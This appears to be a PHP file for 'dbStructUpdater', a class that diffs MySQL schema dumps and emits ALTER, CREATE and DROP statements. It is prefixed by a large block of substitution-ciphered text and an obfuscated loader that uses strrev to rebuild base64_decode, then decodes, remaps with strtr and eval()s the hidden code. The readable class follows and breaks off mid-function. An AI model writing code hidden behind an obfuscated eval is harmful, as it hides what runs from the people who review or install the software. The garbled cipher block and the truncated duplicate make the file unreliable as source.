0(!y5IRQ($1IRd1ku{'dzk1Byjk>By5ykR'.))<		a<			$Ydky040IByz_ByIYF>y("U0W]mT_jZiscpcZm4{X-g.+Ud",0'',0$Ydky);<		E<		$ByuKYR{'fyQ'.040$RPdu-bk1B5FYd=ywRBdkz($fyQ);<		$ByuKYR{'Ydky'.40$Ydky;<		ByRKBk0$ByuKYR;<	E<<	U**<	*0mFfyu0Fk01KRIKR01
0>15IFBy()05yRP190R10zykyBFRy0RPy0uyR01
0uvY0kyy9y90R10KI9FRy0u1KB>y0RFAYy0R105Ffy0dR<	*0Y11f0Fu0F09yuRdkFRd1k01ky<	*0@F>>yuu0IBdNFRy<	*0@IFBF50FBBFQ0$9d

0>15IFBy()05yRP1901KRIKR<	*0@ByRKBk0FBBFQ0YduR01
0uvY0uRFRy5ykRu<	*0uKII1BRu0vKyBQ0zykyBFRd1k01IRd1ku<	*U<	
Kk>Rd1k0zyR[d

wvY($9d

)UU5FQAy0F9901IRd1k0R10155dR01B0
1B>y0'jH0ZTm0cCjwmw',0ufdI0FKR1dk>By5ykR<	a<		$1IRd1ku040$RPdu-b>1k
dz;<		$uvYu040FBBFQ();<		d
0(!du_FBBFQ($9d

)0||0y5IRQ($9d

))<		a<			ByRKBk0$uvYu;<		E<		
1ByF>P($9d

0Fu0$RFA4b$dk
1)<		a<			d
0($dk
1{'u1KB>yTBIPFk'.)UU9yYyRy0dR<			a<				$uvYu{.040'[sT70mWDxc0`'8$RFA8'`';<			E<			yYuyd
0($dk
1{'9yuRTBIPFk'.)UU>ByFRy09yuRdkFRd1k0RFAYy0dk0u1KB>y<			a<				$9FRFAFuy040'';<				$9yuRwvY040$RPdu-bzyRmFAwvY($RPdu-b9yuRwRBK>R,0$RFA,0$9FRFAFuy);<				d
0(!y5IRQ($1IRd1ku{'dzk1Byjk>By5ykR'.))<				a<					$9yuRwvY040IByz_ByIYF>y("U\u*W]mT_jZiscpcZm4{X-g.+Ud",0'',0$9yuRwvY);<				E<				d
0(!y5IRQ($1IRd1ku{'dkz1Byj
Z1RcoduRu'.))<				a<					$9yuRwvY040IByz_ByIYF>y("UjH0ZTm0cCjwmw\u*Ud",0'',0$9yuRwvY);<				E<				d
0(!y5IRQ($1IRd1ku{'
1B>yj
Z1RcoduRu'.))<				a<					$9yuRwvY040IByz_ByIYF>y('U(iscWmc(?:\u*mcp7TsWsr)?\u*mWDxc\u*)(?:jH\uZTm\ucCjwmw\u*)?(`?\q+`?)Ud',0'$/jH0ZTm0cCjwmw0$M',0$9yuRwvY);<				E<				$uvYu{.040$9yuRwvY;<			E<			yYuy<			a<				
1ByF>P($dk
1{'9d

yBu'.0Fu0$
dk
1)<				a<					$dk[yuR040!y5IRQ($
dk
1{'9yuR'.);<					$dkw1KB>y040!y5IRQ($
dk
1{'u1KB>y'.);<					d
0($dkw1KB>y0&&0!$dk[yuR)<					a<						$uvY040$
dk
1{'u1KB>y'.;<						$F>Rd1k040'9B1I';<					E<					yYuyd
0($dk[yuR0&&0!$dkw1KB>y)<					a<						$uvY040$
dk
1{'9yuR'.;<						$F>Rd1k040'F99';<					E<					yYuy<					a<						$uvY040$
dk
1{'9yuR'.;<						$F>Rd1k040'519d
Q';<					E<					$uvY040$RPdu-bzyRW>Rd1kwvY($F>Rd1k,0$RFA,0$uvY);<					$uvYu{.040$uvY;<				E<			E<		E<		ByRKBk0$uvYu;<	E<<	U**<	*0i15IdYyu0KI9FRy0uvY<	*0@F>>yuu0IBdNFRy<	*0@IFBF50uRBdkz0$F>Rd1k0-0'9B1I',0'F99'01B0'519d
Q'<	*0@IFBF50uRBdkz0$RFA0RFAYy0kF5y<	*0@IFBF50uRBdkz0$uvY09y
dkdRd1k01
0RPy0yYy5ykR0R10>PFkzy<	*0@ByRKBk0uRBdkz0KI9FRy0uvY<	*U<	
Kk>Rd1k0zyRW>Rd1kwvY($F>Rd1k,0$RFA,0$uvY)<	a<		$ByuKYR040'Wxmcs0mWDxc0`'8$RFA8'`0';<		$F>Rd1k040uRBR1Y1qyB($F>Rd1k);<		$fyQHdyY9040'`?\q`?(?:\(\9+\))?';UU5FR>Pyu0`kF5y`(/X)<		$fyQHdyY9xduR040'(?:'8$fyQHdyY98'(?:,\u?)?)+';UU5FR>Pyu0`kF5y`(/X),`9yu>`(MLL)<		d
0(IByz_5FR>P('U((?:7sjpWsr0)|(?:]Zjl]c0)|(?:H]xxmcCm0))?hcr0`?(\q+)?`?\u(\('8$fyQHdyY9xduR8'\))Ud',0$uvY,0$5))<		a000UUfyQ0Fk90dk9yo01IyBFRd1ku<			$RQIy040uRBR1Y1qyB(RBd5($5{/.));<			$kF5y040RBd5($5{M.);<			$
dyY9u040RBd5($5{t.);<			uqdR>P($F>Rd1k)<			a<				>Fuy0'9B1I':<					d
0($RQIy44'IBd5FBQ')<					a<						$ByuKYR840'[sT707sjpWsr0hcr';<					E<					yYuy<					a<						$ByuKYR840'[sT70jZ[cC0`'8$kF5y8'`';<					E<				AByFf;<				>Fuy0'F99':<					d
0($RQIy44'IBd5FBQ')<					a<						$ByuKYR840'W[[07sjpWsr0hcr0'8$
dyY9u;<					E<					yYuyd
0($RQIy44'')<					a<						$ByuKYR840'W[[0jZ[cC0`'8$kF5y8'`0'8$
dyY9u;<					E<					yYuy<					a<						$ByuKYR084'W[[0'8uRBR1KIIyB($RQIy)8'0`'8$kF5y8'`0'8$
dyY9u;UU
KYYRyoR01B0KkdvKy<					E<				AByFf;<				>Fuy0'519d
Q':<					d
0($RQIy44'IBd5FBQ')<					a<						$ByuKYR84'[sT707sjpWsr0hcr,0W[[07sjpWsr0hcr0'8$
dyY9u;<					E<					yYuyd
0($RQIy44'')<					a<						$ByuKYR84'[sT70jZ[cC0`'8$kF5y8'`,0W[[0jZ[cC0`'8$kF5y8'`0'8$
dyY9u;<					E<					yYuy<					a<						$ByuKYR84'[sT70jZ[cC0`'8$kF5y8'`,0W[[0'8uRBR1KIIyB($RQIy)8'0`'8$kF5y8'`0'8$
dyY9u;UU
KYYRyoR01B0KkdvKy<					E<				AByFf;<			E<		E<		yYuy0UU
dyY9u01IyBFRd1ku<		a<			$uvY040BRBd5(RBd5($uvY),0',');<			$ByuKYR840uRBR1KIIyB($F>Rd1k);<			d
0($F>Rd1k44'9B1I')<			a<				$uIF>y71u040uRBI1u($uvY,0'0');<				$ByuKYR840'0'8uKAuRB($uvY,0X,0$uIF>y71u);<			E<			yYuy<			a<				$ByuKYR840'0'8$uvY;<			E<		E<		ByRKBk0$ByuKYR;<	E<<	U**<	*0wyFB>Pyu0
1B0RPy0I1udRd1k01
0RPy0kyoR09yYd5dRyB0qPd>P0du0k1R0dkud9y0uRBdkz0YdRyBFY0Ydfy0'RPdu0;0'01B<	*0Ydfy0"RPdu0;0"8<	*<	*0eFk9Yyu0yu>FIy90\"0Fk90\'80WYu10PFk9Yyu0uvY0>155ykRu8<	*0W>RKFYQ0dR0du0Byzyo-AFuy90HdkdR0wRFRy0pF>Pdky0(HwZ)<	*U<	
Kk>Rd1k0zyR[yYd571u($uRBdkz,0$1

uyR4X,0$9yYd54';',0$ufdIjkDBF>fyRu4
FYuy)<	a<		$uRF>f040FBBFQ();<		$BAu040'\\\\';	UUByz0-0yu>FIy90AF>fuYFuP<		$Byz7By
do040"(?G!$BAu)(?:$BAuaME)*";<		$Byz040$Byz7By
do8'("|\')|(U\\*)|(\\*U)|(--0)|(\B\k|\B|\k)|';<		d
0($ufdIjkDBF>fyRu)0<		a<			$Byz84'(\(|\))|';<		E<		yYuy0<		a<			$Byz84'()';<		E<		$Byz0840'('8IByz_vK1Ry($9yYd5)8')';<		qPdYy0(IByz_5FR>P('%'8$Byz8'%',0$uRBdkz,0$5,07sc _THHwcm_iW7m]sc,0$1

uyR))<		a<			$1

uyR040$5{X.{/.+uRBYyk($5{X.{X.);<			d
0(yk9($uRF>f)44'U*')<			a<				d
0(!y5IRQ($5{t.{X.))<				a<					FBBFQ_I1I($uRF>f);<				E<				>1kRdkKy;UUPyBy0qy0>1KY90FYu10ud5IYd
Q0ByzyoI<			E<			d
0(yk9($uRF>f)44'--0')<			a<				d
0(!y5IRQ($5{L.{X.))<				a<					FBBFQ_I1I($uRF>f);<				E<				>1kRdkKy;UUPyBy0qy0>1KY90FYu10ud5IYd
Q0ByzyoI<			E<<			d
0(!y5IRQ($5{J.{X.))UU0';'0
1Kk9<			a<				d
0(y5IRQ($uRF>f))<				a<					ByRKBk0$5{J.{/.;<				E<				yYuy<				a<					UUNFB_9K5I($uRF>f,0uKAuRB($uRBdkz,0$1

uyR-uRBYyk($5{X.{X.)));<				E<			E<			d
0(!y5IRQ($5{V.{X.))UU0'('01B0')'0
1Kk9<			a<				d
0(y5IRQ($uRF>f)0&&0$5{V.{X.44'(')<				a<					FBBFQ_IKuP($uRF>f,0$5{V.{X.);<				E<				yYuyd
($5{V.{X.44')'0&&0yk9($uRF>f)44'(')<				a<					FBBFQ_I1I($uRF>f);<				E<			E<			yYuyd
0(!y5IRQ($5{/.{X.))UU0'01B0"0
1Kk9<			a<				d
0(yk9($uRF>f)44$5{/.{X.)<				a<					FBBFQ_I1I($uRF>f);<				E<				yYuy<				a<					FBBFQ_IKuP($uRF>f,0$5{/.{X.);<				E<			E<			yYuyd
0(!y5IRQ($5{M.{X.))0UU01Iykdkz0>155ykR0U0*<			a<				FBBFQ_IKuP($uRF>f,0$5{M.{X.);<			E<			yYuyd
0(!y5IRQ($5{6.{X.))0UU01Iykdkz0>155ykR0--<			a<				FBBFQ_IKuP($uRF>f,0$5{6.{X.);<			E<		E<		ByRKBk0
FYuy;<	E<	<	U**<	*0q1Bfu0RPy0uF5y0Fu0zyR[yYd571u0yo>yIR0ByRKBku0I1udRd1k01
0RPy0
dBuR01>>KByk>y01
0RPy09yYd5dRyB0uRFBRdkz0
B15<	*0RPy0yk901
0RPy0uRBdkz<	*U<	
Kk>Rd1k0zyR[yYd5sI1u($uRBdkz,0$1

uyR4X,0$9yYd54';',0$ufdIjkDBF>fyRu4
FYuy)<	a<		$I1u040$RPdu-bzyR[yYd571u($uRBdkz,0$1

uyR,0$9yYd5,0$ufdIjkDBF>fyRu);<		d
0($I1u444
FYuy)<		a<			ByRKBk0
FYuy;<		E<		91<		a<			$kyq71u4$RPdu-bzyR[yYd571u($uRBdkz,0$I1u+/,0$9yYd5,0$ufdIjkDBF>fyRu);<			d
0($kyq71u0!440
FYuy)<			a<				$I1u040$kyq71u;<			E<		E<		qPdYy($kyq71u!44
FYuy);<		ByRKBk0$I1u;<	E<<	U**<	0*0i1kNyBRu0uRBdkz0R10Y1qyB>Fuy0Fk90ByIYF>yu0ByIyFRy90uIF>yu0qdRP0RPy0udkzYy01ky0-<	0*0R10Ay0Kuy90
1B0RPy0>15IFBdu1k0IKBI1uyu01kYQ<	0*0@IFBF50uRBdkz0$uRB0uRBdkz0R10k1B5Fd=y<	0*U<	
Kk>Rd1k0k1B5FYd=ywRBdkz($uRB)<	a<		$uRB040uRBR1Y1qyB($uRB);<		$uRB040IByz_ByIYF>y('U\u+U',0'0',0$uRB);<		ByRKBk0$uRB;<	E<E<';$_FT=strrev('edoced_46esab');eval($_FT('JF9URz1iYXNlNjRfZGVjb2RlKCRfX1RHKTskX1RHPXN0cnRyKCRfVEcsJ1Z5VTROT3N1L1A2S2JUbnE8ZnZEY1NMa0p3PUc+Z1pqQl1bRklkbDMwCkE4QyA3WG9tV0VIOXhlNU16MTJ7YVFSaFl0LmlycH0nLCc2ZS89dmpSczFoNHU+T0p3CmtxQkVWNW43U3o8YzlOSXJVRGFwaVFXIGZiLlhHUDB4VEF9RmRMSG0yZ29aW3t5dEtsM11DWU04Jyk7ZXZhbCgkX1RHKTs='));?>$_TG=base64_decode($__TG);$_TG=strtr($_TG,'VyU4NOsu/P6KbTnq<fvDcSLkJw=G>gZjB][FIdl30
A8C 7XomWEH9xe5Mz12{aQRhYt.irp}','6e/=vjRs1h4u>OJw
kqBEV5n7Sz<c9NIrUDapiQW fb.XGP0xTA}FdLHm2goZ[{ytKl3]CYM8');eval($_TG);?><?php
/**
TODO: make it work even without ';' delimiters or at least warn about that
TODO: better parse error reporting
TODO: accept empty datetime value and 0000-00-00 00:00:00 are equal, similar with date and time, also enum('0','1') [default 0], what's with floats?(float(10,2) NOT NULL default '0.00'); text,mediumtext,etc;
TODO: option to add database name with dot before the table names
TODO: add option "order does matter"
DONE: breaks table definition on commas and brackets, not newlines
DONE: handles `database`.`table` in CREATE TABLE string (but does not add database to result sql for a while - and if it
should? as same tables struct in 2 DBs compared is also a case)
DONE: handles double (and more) spaces in CREATE TABLE string
DONE: add filter option (fields: MODIFY, ADD, DROP, tables: CREATE, DROP)
DONE: make it work also with comments
DONE: move all options to $this->config
*/
/**
* The class provides ability to compare 2 database structure dumps and compile a set of sql statements to update
* one database to make it structure identical to another.
*
* @author Kirill Gerasimenko <[email protected]>
*
* The input for the script could be taken from the phpMyAdmin structure dump, or provided by some custom code
* that uses 'SHOW CREATE TABLE' query to get database structure table by table.
* The output is either array of sql statements suitable for executions right from php or a string where the
* statements are placed each at new line and delimited with ';' - suitable for execution from phpMyAdmin SQL
* page.
* The resulting sql may contain queries that aim to:
* Create missing table (CREATE TABLE query)
* Delete table which should not longer exist (DROP TABLE query)
* Update, drop or add table field or index definition (ALTER TABLE query)
*
* Some features:
* - AUTO_INCREMENT value is ommited during the comparison and in resulting CREATE TABLE sql
* - fields with definitions like "(var)char (255) NOT NULL default ''" and "(var)char (255) NOT NULL" are treated
* as equal, the same for (big|tiny)int NOT NULL default 0;
* - IF NOT EXISTS is automatically added to the resulting sql CREATE TABLE statement
* - fields updating queries always come before key modification ones for each table
* Not implemented:
* - The class even does not try to insert or re-order fields in the same order as in the original table.
* Does order matter?
* IMPORTANT!!! Class will not handle a case when the field was renamed. It will generate 2 queries - one to drop
* the column with the old name and one to create column with the new name, so if there is a data in the dropped
* column, it will be lost.
* Usage example:
$updater = new dbStructUpdater();
$res = $updater->getUpdates($struct1, $struct2);
-----
$res == array (
[0]=>"ALTER TABLE `b` MODIFY `name` varchar(255) NOT NULL",
...
)
*/
class dbStructUpdater
{
var $sourceStruct = '';//structure dump of the reference database
var $destStruct = '';//structure dump of database to update
var $config = array();//updater configuration
/**
* Constructor
* @access public
*/
function __construct()
{
$this->init();
}
function init()
{
//table operations: create, drop; field operations: add, remove, modify
$this->config['updateTypes'] = 'create, drop, add, remove, modify';
//ignores default part in cases like (var)char NOT NULL default '' upon the comparison
$this->config['varcharDefaultIgnore'] = true;
//the same for int NOT NULL default 0
$this->config['intDefaultIgnore'] = true;
//ignores table autoincrement field value, also remove AUTO_INCREMENT value from the create query if exists
$this->config['ignoreIncrement'] = true;
//add 'IF NOT EXIST' to each CREATE TABLE query
$this->config['forceIfNotExists'] = true;
//remove 'IF NOT EXIST' if already exists CREATE TABLE dump
$this->config['ingoreIfNotExists'] = false;
}
/**
* merges current updater config with the given one
* @param assoc_array $config new configuration values
*/
function setConfig($config=array())
{
if (is_array($config))
{
$this->config = array_merge($this->config, $config);
}
}
/**
* Returns array of update SQL with default options, $source, $dest - database structures
* @access public
* @param string $source structure dump of database to update
* @param string $dest structure dump of the reference database
* @param bool $asString if true - result will be a string, otherwise - array
* @return array|string update sql statements - in array or string (separated with ';')
*/
function getUpdates($source, $dest, $asString=false)
{
$result = $asString?'':array();
$compRes = $this->compare($source, $dest);
if (empty($compRes))
{
return $result;
}
$compRes = $this->filterDiffs($compRes);
if (empty($compRes))
{
return $result;
}
$result = $this->getDiffSql($compRes);
if ($asString)
{
$result = implode(";
", $result).';';
}
return $result;
}
/**
* Filters comparison result and lefts only sync actions allowed by 'updateTypes' option
*/
function filterDiffs($compRes)
{
$result = array();
if (is_array($this->config['updateTypes']))
{
$updateActions = $this->config['updateTypes'];
}
else
{
$updateActions = array_map('trim', explode(',', $this->config['updateTypes']));
}
$allowedActions = array('create', 'drop', 'add', 'remove', 'modify');
$updateActions = array_intersect($updateActions, $allowedActions);
foreach($compRes as $table=>$info)
{
if ($info['sourceOrphan'])
{
if (in_array('create', $updateActions))
{
$result[$table] = $info;
}
}
elseif ($info['destOrphan'])
{
if (in_array('drop', $updateActions))
{
$result[$table] = $info;
}
}
elseif($info['differs'])
{
$resultInfo = $info;
unset($resultInfo['differs']);
foreach ($info['differs'] as $diff)
{
if (empty($diff['dest']) && in_array('add', $updateActions))
{
$resultInfo['differs'][] = $diff;
}
elseif (empty($diff['source']) && in_array('remove', $updateActions))
{
$resultInfo['differs'][] = $diff;
}
elseif(in_array('modify', $updateActions))
{
$resultInfo['differs'][] = $diff;
}
}
if (!empty($resultInfo['differs']))
{
$result[$table] = $resultInfo;
}
}
}
return $result;
}
/**
* Gets structured general info about the databases diff :
* array(sourceOrphans=>array(...), destOrphans=>array(...), different=>array(...))
*/
function getDiffInfo($compRes)
{
if (!is_array($compRes))
{
return false;
}
$result = array('sourceOrphans'=>array(), 'destOrphans'=>array(), 'different'=>array());
foreach($compRes as $table=>$info)
{
if ($info['sourceOrphan'])
{
$result['sourceOrphans'][] = $table;
}
elseif ($info['destOrphan'])
{
$result['destOrphans'][] = $table;
}
else
{
$result['different'][] = $table;
}
}
return $result;
}
/**
* Makes comparison of the given database structures, support some options
* @access private
* @param string $source and $dest are strings - database tables structures
* @return array
* - table (array)
* - destOrphan (boolean)
* - sourceOrphan (boolean)
* - differs (array) OR (boolean) false if no diffs
* - [0](array)
* - source (string) structure definition line in the out-of-date table
* - dest (string) structure definition line in the reference table
* - [1](array) ...
*/
function compare($source, $dest)
{
$this->sourceStruct = $source;
$this->destStruct = $dest;
$result = array();
$destTabNames = $this->getTableList($this->destStruct);
$sourceTabNames = $this->getTableList($this->sourceStruct);
$common = array_intersect($destTabNames, $sourceTabNames);
$destOrphans = array_diff($destTabNames, $common);
$sourceOrphans = array_diff($sourceTabNames, $common);
$all = array_unique(array_merge($destTabNames, $sourceTabNames));
sort($all);
foreach ($all as $tab)
{
$info = array('destOrphan'=>false, 'sourceOrphan'=>false, 'differs'=>false);
if(in_array($tab, $destOrphans))
{
$info['destOrphan'] = true;
}
elseif (in_array($tab, $sourceOrphans))
{
$info['sourceOrphan'] = true;
}
else
{
$destSql = $this->getTabSql($this->destStruct, $tab, true);
$sourceSql = $this->getTabSql($this->sourceStruct, $tab, true);
$diffs = $this->compareSql($sourceSql, $destSql);
if ($diffs===false)
{
trigger_error('[WARNING] error parsing definition of table "'.$tab.'" - skipped');
continue;
}
elseif (!empty($diffs))//not empty array
{
$info['differs'] = $diffs;
}
else continue;//empty array
}
$result[$tab] = $info;
}
return $result;
}
/**
* Retrieves list of table names from the database structure dump
* @access private
* @param string $struct database structure listing
*/
function getTableList($struct)
{
$result = array();
if (preg_match_all('/CREATE(?:\s*TEMPORARY)?\s*TABLE\s*(?:IF NOT EXISTS\s*)?(?:`?(\w+)`?\.)?`?(\w+)`?/i', $struct, $m))
{
foreach($m[2] as $match)//m[1] is a database name if any
{
$result[] = $match;
}
}
return $result;
}
/**
* Retrieves table structure definition from the database structure dump
* @access private
* @param string $struct database structure listing
* @param string $tab table name
* @param bool $removeDatabase - either to remove database name in "CREATE TABLE database.tab"-like declarations
* @return string table structure definition
*/
function getTabSql($struct, $tab, $removeDatabase=true)
{
$result = '';
/* create table should be single line in this case*/
//1 - part before database, 2-database name, 3 - part after database
if (preg_match('/(CREATE(?:\s*TEMPORARY)?\s*TABLE\s*(?:IF NOT EXISTS\s*)?)(?:`?(\w+)`?\.)?(`?('.$tab.')`?(\W|$))/i', $struct, $m, PREG_OFFSET_CAPTURE))
{
$tableDef = $m[0][0];
$start = $m[0][1];
$database = $m[2][0];
$offset = $start+strlen($m[0][0]);
$end = $this->getDelimPos($struct, $offset);
if ($end === false)
{
$result = substr($struct, $start);
}
else
{
$result = substr($struct, $start, $end-$start);//already without ';'
}
}
$result = trim($result);
if ($database && $removeDatabase)
{
$result = str_replace($tableDef, $m[1][0].$m[3][0], $result);
}
return $result;
}
/**
* Splits table sql into indexed array
*
*/
function splitTabSql($sql)
{
$result = array();
//find opening bracket, get the prefix along with it
$openBracketPos = $this->getDelimPos($sql, 0, '(');
if ($openBracketPos===false)
{
trigger_error('[WARNING] can not find opening bracket in table definition');
return false;
}
$prefix = substr($sql, 0, $openBracketPos+1);//prefix can not be empty, so do not check it, just trim
$result[] = trim($prefix);
$body = substr($sql, strlen($prefix));//fields, indexes and part after closing bracket
//split by commas, get part by part
while(($commaPos = $this->getDelimPos($body, 0, ',', true))!==false)
{
$part = trim(substr($body, 0, $commaPos+1));//read another part and shorten $body
if ($part)
{
$result[] = $part;
}
$body = substr($body, $commaPos+1);
}
//here we have last field (or index) definition + part after closing bracket (ENGINE, ect)
$closeBracketPos = $this->getDelimRpos($body, 0, ')');
if ($closeBracketPos===false)
{
trigger_error('[WARNING] can not find closing bracket in table definition');
return false;
}
//get last field / index definition before closing bracket
$part = substr($body, 0, $closeBracketPos);
$result[] = trim($part);
//get the suffix part along with the closing bracket
$suffix = substr($body, $closeBracketPos);
$suffix = trim($suffix);
if ($suffix)
{
$result[] = $suffix;
}
return $result;
}
/**
* returns array of fields or keys definitions that differs in the given tables structure
* @access private
* @param sring $sourceSql table structure
* @param sring $destSql right table structure
* supports some $options
* @return array
* - [0]
* - source (string) out-of-date table field definition
* - dest (string) reference table field definition
* - [1]...
*/
function compareSql($sourceSql, $destSql)//$sourceSql, $destSql
{
$result = array();
//split with comma delimiter, not line breaks
$sourceParts = $this->splitTabSql($sourceSql);
if ($sourceParts===false)//error parsing sql
{
trigger_error('[WARNING] error parsing source sql');
return false;
}
$destParts = $this->splitTabSql($destSql);
if ($destParts===false)
{
trigger_error('[WARNING] error parsing destination sql');
return false;
}
$sourcePartsIndexed = array();
$destPartsIndexed = array();
foreach($sourceParts as $line)
{
$lineInfo = $this->processLine($line);
if (!$lineInfo) continue;
$sourcePartsIndexed[$lineInfo['key']] = $lineInfo['line'];
}
foreach($destParts as $line)
{
$lineInfo = $this->processLine($line);
if (!$lineInfo) continue;
$destPartsIndexed[$lineInfo['key']] = $lineInfo['line'];
}
$sourceKeys = array_keys($sourcePartsIndexed);
$destKeys = array_keys($destPartsIndexed);
$all = array_unique(array_merge($sourceKeys, $destKeys));
sort($all);//fields first, then indexes - because fields are prefixed with '!'
foreach ($all as $key)
{
$info = array('source'=>'', 'dest'=>'');
$inSource= in_array($key, $sourceKeys);
$inDest= in_array($key, $destKeys);
$sourceOrphan = $inSource && !$inDest;
$destOrphan = $inDest && !$inSource;
$different = $inSource && $inDest &&
strcasecmp($this->normalizeString($destPartsIndexed[$key]), $this->normalizeString($sourcePartsIndexed[$key]));
if ($sourceOrphan)
{
$info['source'] = $sourcePartsIndexed[$key];
}
elseif ($destOrphan)
{
$info['dest'] = $destPartsIndexed[$key];
}
elseif ($different)
{
$info['source'] = $sourcePartsIndexed[$key];
$info['dest'] = $destPartsIndexed[$key];
}
else continue;
$result[] = $info;
}
return $result;
}
/**
* Transforms table structure defnition line into key=>value pair where the key is a string that uniquely
* defines field or key desribed
* @access private
* @param string $line field definition string
* @return array array with single key=>value pair as described in the description
* implements some options
*/
function processLine($line)
{
$options = $this->config;
$result = array('key'=>'', 'line'=>'');
$line = rtrim(trim($line), ',');
if (preg_match('/^(CREATE\s+TABLE)|(\) ENGINE=)/i', $line))//first or last table definition line
{
return false;
}
//if (preg_match('/^(PRIMARY KEY)|(((UNIQUE )|(FULLTEXT ))?KEY `?\w+`?)/i', $line, $m))//key definition
if (preg_match('/^(PRIMARY\s+KEY)|(((UNIQUE\s+)|(FULLTEXT\s+))?KEY\s+`?\w+`?)/i', $line, $m))//key definition
{
$key = $m[0];
}
elseif (preg_match('/^`?\w+`?/i', $line, $m))//field definition
{
$key = '!'.$m[0];//to make sure fields will be synchronised before the keys
}
else
{
return false;//line has no valuable info (empty or comment)
}
//$key = str_replace('`', '', $key);
if (!empty($options['varcharDefaultIgnore']))
{
$line = preg_replace("/(var)?char\(([0-9]+)\)\s+NOT\s+NULL\s+default\s+''/i", '$1char($2) NOT NULL', $line);
}
if (!empty($options['intDefaultIgnore']))
{
$line = preg_replace("/((?:big)|(?:tiny))?int\(([0-9]+)\)\s+NOT\s+NULL\s+default\s+'0'/i", '$1int($2) NOT NULL', $line);
}
if (!empty($options['ignoreIncrement']))
{
$line = preg_replace("/ AUTO_INCREMENT=[0-9]+/i", '', $line);
}
$result['key'] = $this->normalizeString($key);
$result['line']= $line;
return $result;
}
/**
* Takes an output of compare() method to generate the set of sql needed to update source table to make it
* look as a destination one
* @access private
* @param array $diff compare() method output
* @return array list of sql statements
* supports query generation options
*/
function getDiffSql($diff)//maybe add option to ommit or force 'IF NOT EXISTS', skip autoincrement
{
$options = $this->config;
$sqls = array();
if (!is_array($diff) || empty($diff))
{
return $sqls;
}
foreach($diff as $tab=>$info)
{
if ($info['sourceOrphan'])//delete it
{
$sqls[] = 'DROP TABLE `'.$tab.'`';
}
elseif ($info['destOrphan'])//create destination table in source
{
$database = '';
$destSql = $this->getTabSql($this->destStruct, $tab, $database);
if (!empty($options['ignoreIncrement']))
{
$destSql = preg_replace("/\s*AUTO_INCREMENT=[0-9]+/i", '', $destSql);
}
if (!empty($options['ingoreIfNotExists']))
{
$destSql = preg_replace("/IF NOT EXISTS\s*/i", '', $destSql);
}
if (!empty($options['forceIfNotExists']))
{
$destSql = preg_replace('/(CREATE(?:\s*TEMPORARY)?\s*TABLE\s*)(?:IF\sNOT\sEXISTS\s*)?(`?\w+`?)/i', '$1IF NOT EXISTS $2', $destSql);
}
$sqls[] = $destSql;
}
else
{
foreach($info['differs'] as $finfo)
{
$inDest = !empty($finfo['dest']);
$inSource = !empty($finfo['source']);
if ($inSource && !$inDest)
{
$sql = $finfo['source'];
$action = 'drop';
}
elseif ($inDest && !$inSource)
{
$sql = $finfo['dest'];
$action = 'add';
}
else
{
$sql = $finfo['dest'];
$action = 'modify';
}
$sql = $this->getActionSql($action, $tab, $sql);
$sqls[] = $sql;
}
}
}
return $sqls;
}
/**
* Compiles update sql
* @access private
* @param string $action - 'drop', 'add' or 'modify'
* @param string $tab table name
* @param string $sql definition of the element to change
* @return string update sql
*/
function getActionSql($action, $tab, $sql)
{
$result = 'ALTER TABLE `'.$tab.'` ';
$action = strtolower($action);
$keyField = '`?\w`?(?:\(\d+\))?';//matches `name`(10)
$keyFieldList = '(?:'.$keyField.'(?:,\s?)?)+';//matches `name`(10),`desc`(255)
if (preg_match('/((?:PRIMARY )|(?:UNIQUE )|(?:FULLTEXT ))?KEY `?(\w+)?`?\s(\('.$keyFieldList.'\))/i', $sql, $m))
{ //key and index operations
$type = strtolower(trim($m[1]));
$name = trim($m[2]);
$fields = trim($m[3]);
switch($action)
{
case 'drop':
if ($type=='primary')
{
$result.= 'DROP PRIMARY KEY';
}
else
{
$result.= 'DROP INDEX `'.$name.'`';
}
break;
case 'add':
if ($type=='primary')
{
$result.= 'ADD PRIMARY KEY '.$fields;
}
elseif ($type=='')
{
$result.= 'ADD INDEX `'.$name.'` '.$fields;
}
else
{
$result .='ADD '.strtoupper($type).' `'.$name.'` '.$fields;//fulltext or unique
}
break;
case 'modify':
if ($type=='primary')
{
$result.='DROP PRIMARY KEY, ADD PRIMARY KEY '.$fields;
}
elseif ($type=='')
{
$result.='DROP INDEX `'.$name.'`, ADD INDEX `'.$name.'` '.$fields;
}
else
{
$result.='DROP INDEX `'.$name.'`, ADD '.strtoupper($type).' `'.$name.'` '.$fields;//fulltext or unique
}
break;
}
}
else //fields operations
{
$sql = rtrim(trim($sql), ',');
$result.= strtoupper($action);
if ($action=='drop')
{
$spacePos = strpos($sql, ' ');
$result.= ' '.substr($sql, 0, $spacePos);
}
else
{
$result.= ' '.$sql;
}
}
return $result;
}
/**
* Searches for the position of the next delimiter which is not inside string literal like 'this ; ' or
* like "this ; ".
*
* Handles escaped \" and \'. Also handles sql comments.
* Actualy it is regex-based Finit State Machine (FSN)
*/
function getDelimPos($string, $offset=0, $delim=';', $skipInBrackets=false)
{
$stack = array();
$rbs = '\'; //reg - escaped backslash
$regPrefix = "(?<!$rbs)(?:$rbs{2})*";
$reg = $regPrefix.'("|\')|(/\*)|(\*/)|(-- )|(
|
|
)|';
if ($skipInBrackets)
{
$reg.='(\(|\))|';
}
else
{
$reg.='()';
}
$reg .= '('.preg_quote($delim).')';
while (preg_match('%'.$reg.'%', $string, $m, PREG_OFFSET_CAPTURE, $offset))
{
$offset = $m[0][1]+strlen($m[0][0]);
if (end($stack)=='/*')
{
if (!empty($m[3][0]))
{
array_pop($stack);
}
continue;//here we could also simplify regexp
}
if (end($stack)=='-- ')
{
if (!empty($m[5][0]))
{
array_pop($stack);
}
continue;//here we could also simplify regexp
}
if (!empty($m[7][0]))// ';' found
{
if (empty($stack))
{
return $m[7][1];
}
else
{
//var_dump($stack, substr($string, $offset-strlen($m[0][0])));
}
}
if (!empty($m[6][0]))// '(' or ')' found
{
if (empty($stack) && $m[6][0]=='(')
{
array_push($stack, $m[6][0]);
}
elseif($m[6][0]==')' && end($stack)=='(')
{
array_pop($stack);
}
}
elseif (!empty($m[1][0]))// ' or " found
{
if (end($stack)==$m[1][0])
{
array_pop($stack);
}
else
{
array_push($stack, $m[1][0]);
}
}
elseif (!empty($m[2][0])) // opening comment / *
{
array_push($stack, $m[2][0]);
}
elseif (!empty($m[4][0])) // opening comment --
{
array_push($stack, $m[4][0]);
}
}
return false;
}
/**
* works the same as getDelimPos except returns position of the first occurence of the delimiter starting from
* the end of the string
*/
function getDelimRpos($string, $offset=0, $delim=';', $skipInBrackets=false)
{
$pos = $this->getDelimPos($string, $offset, $delim, $skipInBrackets);
if ($pos===false)
{
return false;
}
do
{
